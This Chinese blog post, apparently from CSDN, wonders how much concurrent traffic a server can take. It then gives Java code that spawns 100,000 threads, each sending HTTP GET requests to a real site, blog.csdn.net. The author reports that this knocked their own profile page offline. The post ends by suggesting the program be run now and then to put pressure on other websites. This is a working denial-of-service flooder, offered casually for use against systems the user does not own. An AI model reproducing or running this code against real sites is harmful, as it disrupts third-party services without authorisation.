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原来学过socket编程,因为最近我也在做自己的服务器,但是没有加任何安全机制,我就想到了这个服务器可以承受的最大并发量是多少,当然这是和服务器的内存有关的。
如:www.lipyi.com这个网址,同一时间有千万的用户访问(也可能是同一用户),那么服务器是不是要崩掉了?这时候我考虑到很多网址后面都有时间戳,原来就是避免这个问题的。另外也看到有网友说的可以过滤掉同一IP,这也是一个不错的办法,但是感觉对于很多小型的网站来说,时间戳和过滤IP是没有做的。
下面是我用java写的访问CSDN中我的个人主页,当运行这个程序时,我的主页确实打不开了。累感不爱。
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.io.PrintWriter; import java.net.InetAddress; import java.net.Socket; public class TestServer { public final static String HOST = "blog.csdn.net"; public final static String PATH = "/yilip"; public final static int PORT = 80; public final static int PEOPLE_NUM = 10*10000; public static int num = 0; /** * Author: Lip */ public static void main(String[] args) { for (int i = 0; i < PEOPLE_NUM; i++) { System.out.println("有多少人:" + num); ClientThread thread = new ClientThread(false); thread.start(); } } } class ClientThread extends Thread { Socket socket = null; BufferedReader br = null; PrintWriter pw = null; boolean isout;//是否输出返回结果 public ClientThread(boolean isout) { this.isout = isout; } public void run() { TestServer.num++; try { this.sleep(10*1000); socket = new Socket( InetAddress.getByName(TestServer.HOST), TestServer.PORT); // 读取服务器数据 br = new BufferedReader(new InputStreamReader( socket.getInputStream(),"utf-8")); pw = new PrintWriter((new OutputStreamWriter( socket.getOutputStream()))); StringBuffer requestHeader = new StringBuffer(); requestHeader .append("GET " + TestServer.PATH + " HTTP/1.1\n") .append("HOST:" + TestServer.HOST + "\n") .append("Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n") .append("Accept-Encoding:gzip, deflate, sdch\n") .append("Accept-Language:zh-CN,zh;q=0.8\n") .append("Cache-Control:no-cache\n") .append("User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36\n") .append("Encoding:UTF-8\n") .append("Connection:keep-alive" + "\n") .append("\n"); if (isout) System.out.println(requestHeader.toString()); pw.println(requestHeader);// pw.flush(); String line = ""; if(isout) while((line=br.readLine())!=null) { System.out.println(line); } System.out.println("Get the data from csdn......"); } catch (Exception e) { e.printStackTrace(); } finally { try { System.out.println("close......"); // br.close(); pw.close(); socket.close(); } catch (IOException e) { e.printStackTrace(); } } } }遇到的一个问题,就是返回结果总是乱码,我在这里
br = new BufferedReader(new InputStreamReader( socket.getInputStream(),"utf-8")) 设置了多种编码都还是乱码,但是我查看浏览器中编码是UTF-8,不知道这是为什么?
没事运行这个程序,给别的网站搞点压力,还是不错滴。。。。
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原文地址:http://blog.csdn.net/yilip/article/details/45195713